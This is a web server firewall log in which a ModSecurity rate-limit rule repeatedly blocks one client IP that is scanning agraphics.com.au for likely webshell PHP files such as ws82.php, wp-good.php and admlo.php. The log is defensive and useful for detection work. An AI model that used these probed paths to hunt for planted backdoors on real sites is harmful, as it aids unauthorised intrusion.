[Thu Apr 23 21:22:16.755335 2026] [:error] [pid 42972:tid 43019] [client 158.158.123.88:53425] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeodCMOAb-3sOknsk4c7yQAAAEM"]
[Thu Apr 23 21:22:18.170789 2026] [:error] [pid 64998:tid 65015] [client 158.158.123.88:53435] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeodCoV5EysYcTLjmwh60gAAAc0"]
[Thu Apr 23 21:22:18.183478 2026] [:error] [pid 64998:tid 65006] [client 158.158.123.88:49649] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeodCoV5EysYcTLjmwh60wAAAcQ"]
[Thu Apr 23 21:22:19.210843 2026] [:error] [pid 46953:tid 46963] [client 158.158.123.88:62794] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeodC0nlpdHh-P6wKbo5HAAAAkc"]
[Thu Apr 23 21:22:19.466676 2026] [:error] [pid 42972:tid 43029] [client 158.158.123.88:26809] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeodC8OAb-3sOknsk4c70wAAAE0"]
[Thu Apr 23 21:22:19.974010 2026] [:error] [pid 59700:tid 59722] [client 158.158.123.88:31307] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeodC5XyGZJFeAIDWtkpFQAAAVQ"]
[Thu Apr 23 21:22:20.337845 2026] [:error] [pid 65000:tid 65052] [client 158.158.123.88:26782] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeodDL6vRb9j6psK2ZaGjQAAAhM"]
[Thu Apr 23 21:22:21.047828 2026] [:error] [pid 42971:tid 43005] [client 158.158.123.88:54694] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeodDTEP2_5RswrH8bErLAAAABM"]
[Thu Apr 23 21:22:21.212837 2026] [:error] [pid 59700:tid 59706] [client 158.158.123.88:53436] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeodDZXyGZJFeAIDWtkpGQAAAUQ"]
[Thu Apr 23 21:22:21.934997 2026] [:error] [pid 59700:tid 59705] [client 158.158.123.88:4938] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeodDZXyGZJFeAIDWtkpGgAAAUM"]
[Thu Apr 23 21:22:22.024290 2026] [:error] [pid 64967:tid 64970] [client 158.158.123.88:48896] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aeodDoAV4GfOOdX8Qzp1fwAAAYE"]
[Thu Apr 23 21:22:22.591013 2026] [:error] [pid 42972:tid 43023] [client 158.158.123.88:4467] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeodDsOAb-3sOknsk4c72QAAAEc"]
[Thu Apr 23 21:22:22.679971 2026] [:error] [pid 42973:tid 43053] [client 158.158.123.88:31347] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aeodDm6I0QqmmmLTHE0azwAAAIo"]
[Thu Apr 23 21:22:23.221201 2026] [:error] [pid 65000:tid 65053] [client 158.158.123.88:49637] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeodD76vRb9j6psK2ZaGjwAAAhQ"]
[Thu Apr 23 21:22:23.503365 2026] [:error] [pid 65000:tid 65054] [client 158.158.123.88:48902] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aeodD76vRb9j6psK2ZaGkAAAAhU"]
[Thu Apr 23 21:22:24.445654 2026] [:error] [pid 46953:tid 46976] [client 158.158.123.88:26757] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aeodEEnlpdHh-P6wKbo5IwAAAlQ"]
[Thu Apr 23 21:22:24.482270 2026] [:error] [pid 46953:tid 46979] [client 158.158.123.88:49662] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeodEEnlpdHh-P6wKbo5JAAAAlY"]
[Thu Apr 23 21:22:25.043119 2026] [:error] [pid 65000:tid 65048] [client 158.158.123.88:48935] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aeodEb6vRb9j6psK2ZaGlwAAAg8"]
[Thu Apr 23 21:22:25.157531 2026] [:error] [pid 65000:tid 65057] [client 158.158.123.88:4622] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeodEb6vRb9j6psK2ZaGmAAAAhg"]
[Thu Apr 23 21:22:25.596966 2026] [:error] [pid 65000:tid 65049] [client 158.158.123.88:48919] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aeodEb6vRb9j6psK2ZaGmgAAAhA"]
[Thu Apr 23 21:22:25.946276 2026] [:error] [pid 65000:tid 65037] [client 158.158.123.88:4935] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeodEb6vRb9j6psK2ZaGnwAAAgQ"]
[Thu Apr 23 21:22:26.219100 2026] [:error] [pid 65000:tid 65044] [client 158.158.123.88:26759] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aeodEr6vRb9j6psK2ZaGoAAAAgs"]
[Thu Apr 23 21:22:26.659871 2026] [:error] [pid 46953:tid 46972] [client 158.158.123.88:27494] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeodEknlpdHh-P6wKbo5JwAAAlA"]
[Thu Apr 23 21:22:26.742854 2026] [:error] [pid 46953:tid 46958] [client 158.158.123.88:62731] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aeodEknlpdHh-P6wKbo5KAAAAkI"]
[Thu Apr 23 21:22:27.415081 2026] [:error] [pid 64967:tid 64985] [client 158.158.123.88:4664] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aeodE4AV4GfOOdX8Qzp1gQAAAZA"]
[Thu Apr 23 21:22:27.964084 2026] [:error] [pid 46953:tid 46975] [client 158.158.123.88:4671] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeodE0nlpdHh-P6wKbo5LQAAAlM"]
[Thu Apr 23 21:22:28.163436 2026] [:error] [pid 46953:tid 46971] [client 158.158.123.88:4779] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aeodFEnlpdHh-P6wKbo5LgAAAk8"]
[Thu Apr 23 21:22:29.086727 2026] [:error] [pid 42973:tid 43049] [client 158.158.123.88:48925] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeodFW6I0QqmmmLTHE0a0wAAAIY"]
[Thu Apr 23 21:22:29.128076 2026] [:error] [pid 64998:tid 65015] [client 158.158.123.88:48952] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aeodFYV5EysYcTLjmwh62gAAAc0"]
[Thu Apr 23 21:22:30.420377 2026] [:error] [pid 64998:tid 65006] [client 158.158.123.88:45426] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aeodFoV5EysYcTLjmwh62wAAAcQ"]
[Thu Apr 23 21:22:30.967318 2026] [:error] [pid 46953:tid 46956] [client 158.158.123.88:47013] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeodFknlpdHh-P6wKbo5MwAAAkA"]
[Thu Apr 23 21:22:31.271543 2026] [:error] [pid 46953:tid 46960] [client 158.158.123.88:4784] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeodF0nlpdHh-P6wKbo5NAAAAkQ"]
[Thu Apr 23 21:22:31.982507 2026] [:error] [pid 65000:tid 65044] [client 158.158.123.88:48927] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeodF76vRb9j6psK2ZaGrAAAAgs"]
[Thu Apr 23 21:22:32.399668 2026] [:error] [pid 65000:tid 65043] [client 158.158.123.88:62727] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeodGL6vRb9j6psK2ZaGsAAAAgo"]
[Thu Apr 23 21:22:32.875719 2026] [:error] [pid 64998:tid 65005] [client 158.158.123.88:4662] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeodGIV5EysYcTLjmwh63gAAAcM"]
[Thu Apr 23 21:22:33.542852 2026] [:error] [pid 64998:tid 65018] [client 158.158.123.88:35770] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeodGYV5EysYcTLjmwh64AAAAdA"]
[Thu Apr 23 21:22:33.774876 2026] [:error] [pid 64998:tid 65019] [client 158.158.123.88:4638] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeodGYV5EysYcTLjmwh64gAAAdE"]
[Thu Apr 23 21:22:34.983901 2026] [:error] [pid 42973:tid 43058] [client 158.158.123.88:45410] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aeodGm6I0QqmmmLTHE0a1gAAAI8"]
[Thu Apr 23 21:22:35.654329 2026] [:error] [pid 65000:tid 65043] [client 158.158.123.88:45399] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeodG76vRb9j6psK2ZaGuwAAAgo"]
[Thu Apr 23 21:22:36.057573 2026] [:error] [pid 65000:tid 65053] [client 158.158.123.88:50331] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aeodHL6vRb9j6psK2ZaGvgAAAhQ"]
[Thu Apr 23 21:22:36.646852 2026] [:error] [pid 64998:tid 65011] [client 158.158.123.88:47030] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeodHIV5EysYcTLjmwh65wAAAck"]
[Thu Apr 23 21:22:36.846039 2026] [:error] [pid 65000:tid 65041] [client 158.158.123.88:62778] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aeodHL6vRb9j6psK2ZaGwgAAAgg"]
[Thu Apr 23 21:22:37.667988 2026] [:error] [pid 42972:tid 43023] [client 158.158.123.88:48907] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeodHcOAb-3sOknsk4c78wAAAEc"]
[Thu Apr 23 21:22:38.177332 2026] [:error] [pid 65000:tid 65032] [client 158.158.123.88:31337] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aeodHr6vRb9j6psK2ZaGywAAAgM"]
[Thu Apr 23 21:22:38.741530 2026] [:error] [pid 65000:tid 65053] [client 158.158.123.88:4760] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeodHr6vRb9j6psK2ZaG2QAAAhQ"]
[Thu Apr 23 21:22:38.821612 2026] [:error] [pid 65000:tid 65040] [client 158.158.123.88:53405] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aeodHr6vRb9j6psK2ZaG3gAAAgc"]
[Thu Apr 23 21:22:39.450249 2026] [:error] [pid 64998:tid 65015] [client 158.158.123.88:4629] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aeodH4V5EysYcTLjmwh66wAAAc0"]
[Thu Apr 23 21:22:39.689931 2026] [:error] [pid 64998:tid 65010] [client 158.158.123.88:53410] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeodH4V5EysYcTLjmwh67QAAAcg"]
[Thu Apr 23 21:22:40.057438 2026] [:error] [pid 43083:tid 43109] [client 158.158.123.88:47026] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aeodIDC5hrvNXosL83J4dgAAANg"]
[Thu Apr 23 21:22:40.274614 2026] [:error] [pid 42971:tid 43004] [client 158.158.123.88:62779] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeodIDEP2_5RswrH8bErLwAAABI"]
[Thu Apr 23 21:22:40.597745 2026] [:error] [pid 64998:tid 65013] [client 158.158.123.88:47012] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aeodIIV5EysYcTLjmwh69wAAAcs"]
[Thu Apr 23 21:22:41.130985 2026] [:error] [pid 64998:tid 65015] [client 158.158.123.88:4763] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeodIYV5EysYcTLjmwh6-gAAAc0"]
[Thu Apr 23 21:22:41.234105 2026] [:error] [pid 64998:tid 65010] [client 158.158.123.88:37118] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeodIYV5EysYcTLjmwh6-wAAAcg"]
[Thu Apr 23 21:22:41.667553 2026] [:error] [pid 65000:tid 65051] [client 158.158.123.88:37110] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeodIb6vRb9j6psK2ZaHDwAAAhI"]
[Thu Apr 23 21:22:41.742825 2026] [:error] [pid 65000:tid 65037] [client 158.158.123.88:47006] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeodIb6vRb9j6psK2ZaHEAAAAgQ"]
[Thu Apr 23 21:22:42.364958 2026] [:error] [pid 64998:tid 65019] [client 158.158.123.88:37083] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aeodIoV5EysYcTLjmwh7BQAAAdE"]
